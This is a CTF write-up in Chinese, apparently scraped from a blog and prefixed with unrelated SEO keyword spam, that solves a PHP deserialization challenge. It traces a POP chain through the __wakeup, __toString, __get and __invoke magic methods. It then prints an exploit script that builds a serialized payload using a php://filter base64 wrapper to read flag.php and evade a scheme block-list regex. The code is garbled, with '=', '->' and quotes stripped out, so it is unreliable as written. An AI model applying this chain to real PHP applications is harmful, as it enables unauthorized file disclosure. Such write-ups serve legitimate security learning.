淮北哪里做网站,wordpress 管理后台,浙江网站seo,买网站送域名这道题对于刚接触到pop链的我直接把我整懵了#xff0c;一边看着魔术方法一边分析
魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程#xff0c;简单编程 (twle.cn) 代码解析 经过以上的分析我们可以理一下解题思路#xff1a;接收参数反序列化之前先触发…这道题对于刚接触到pop链的我直接把我整懵了一边看着魔术方法一边分析
魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程简单编程 (twle.cn) 代码解析 经过以上的分析我们可以理一下解题思路接收参数反序列化之前先触发wakeup方法进行一些过滤防止ssrf我们可以将source赋值为实例对象触发tostring方法
如果我们将str赋值为Test类的一个对象因为读取不到source触发get魔术方法
再将Test类中的p赋值为Modify类的一个对象对象被当作函数使用直接触发invoke
方法从而包含文件用伪协议读取出来
链子大概就是这样:show-__wakeup-__tostring-Test-__get-Modify-__invoke-append-include 因为var是protect属性无法在类外进行访问所以我们直接进行复赋值 直接上我的脚本了先将三个类实例化出三个对象a,b,c 通过这三个对象来访问类内部的变量
$c-p $a将Test中的p赋值为一个Modify对象用来触发invoke方法
$b-source new Show()因为通过$b这个对象进行访问的所以需要source赋值一个新的Show对象用来触发__toString方法
$b-source-str $c中$b-source已经成为一个新的Show实例对象通过该对象访问str为其赋值为$c(Test类的对象),又因为Test类中访问不到source资源从而触发get方法
最后进行url编码是因为protected属性的变量会输出一些不可见的字符直接复制显示就是乱码无法构成成功攻击进行一次url编码即可浏览器会自动解码的 class Modifier {protected $varphp://filter/readconvert.base64-encode/resourceflag.php;public function append($value){include($value); //包含flag.php}public function __invoke(){$this-append($this-var);}
}class Show{public $source;public $str;public function __toString(){return $this-str-source; //将Test实例化的对象给str在Test中不存在source此处调用__toString时触发__get方法}public function __wakeup(){if(preg_match(/gopher|http|file|ftp|https|dict|\.\./i, $this-source)) {echo hacker;$this-source index.php;}}
}class Test{public $p;
// public function __construct(){
// $this-p array(); 没用注释掉
// }public function __get($key){$function $this-p;return $function(); //触发__invoke方法}
}$a new Modifier();
$b new Show();
$c new Test();
$c-p $a;
$b-source new Show();
$b-source-str $c;
echo urlencode(serialize($b)); 得到一串base64 解码得到flag